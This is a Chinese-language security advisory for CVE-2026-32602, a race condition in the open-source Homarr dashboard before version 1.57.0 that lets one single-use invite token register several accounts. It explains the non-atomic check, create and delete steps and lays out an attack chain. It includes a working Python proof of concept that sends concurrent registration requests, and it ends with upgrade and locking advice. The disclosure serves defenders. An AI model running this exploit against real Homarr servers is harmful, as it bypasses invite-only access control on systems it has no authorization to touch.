IPBUF安全漏洞报告
English
CVE-2026-32602 CVSS 4.2 中危

CVE-2026-32602 Homarr竞争条件漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-32602
漏洞类型
竞争条件
CVSS评分
4.2 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Homarr

相关标签

竞争条件Homarr逻辑漏洞权限绕过

漏洞概述

Homarr是一个开源仪表板。在1.57.0版本之前,其用户注册接口存在竞争条件漏洞。由于注册流程中的检查、创建和删除数据库操作未包含在事务中,导致这些操作非原子性。攻击者可利用此漏洞,通过并发请求绕过单次使用邀请令牌的限制,使用一个令牌创建多个用户账户。

技术细节

该漏洞位于用户注册端点(/api/trpc/user.register)。系统在处理注册时依次执行三个非事务性的数据库操作:1. 检查令牌有效性(CHECK);2. 创建用户账户(CREATE);3. 删除令牌(DELETE)。由于缺乏数据库事务或行锁保护,这些操作不具备原子性。当攻击者快速发送并发请求时,多个请求可能在第一个请求执行删除操作前,全部通过验证步骤,从而导致系统误认为令牌依然有效,最终利用同一个邀请令牌创建多个账户。

攻击链分析

STEP 1
获取令牌
攻击者获取一个有效的单次使用邀请令牌。
STEP 2
发起并发请求
攻击者使用该令牌向/api/trpc/user.register端点发送大量并发的注册请求。
STEP 3
绕过验证
由于数据库操作缺乏原子性,多个并发请求在令牌被删除前都通过了有效性检查。
STEP 4
创建账户
系统处理这些请求,导致多个不同的用户账户被成功创建,而令牌仅被消耗一次。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import threading # Target URL and Invite Token target_url = "http://target-domain.com/api/trpc/user.register" invite_token = "VALID_INVITE_TOKEN_HERE" # Define the payload for registration payload = { "json": { "token": invite_token, "username": "testuser", "password": "password123" } } def register_user(user_suffix): # Update username to be unique for each thread to verify success current_payload = payload.copy() current_payload['json']['username'] = f"hacker_{user_suffix}" try: response = requests.post(target_url, json=current_payload) if response.status_code == 200: print(f"[+] Success: User {current_payload['json']['username']} registered!") else: print(f"[-] Failed: {response.status_code} - {response.text}") except Exception as e: print(f"Error: {e}") # Simulate Race Condition with multiple threads threads = [] num_requests = 10 # Number of concurrent requests print(f"[*] Starting race condition attack with {num_requests} threads...") for i in range(num_requests): t = threading.Thread(target=register_user, args=(i,)) threads.append(t) t.start() for t in threads: t.join() print("[*] Attack completed.")

影响范围

Homarr < 1.57.0

防御指南

临时缓解措施
建议立即将Homarr升级至1.57.0或更高版本以修复此漏洞。若暂时无法升级,应在注册接口实施严格的速率限制或引入分布式锁机制,防止同一令牌被并发处理。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表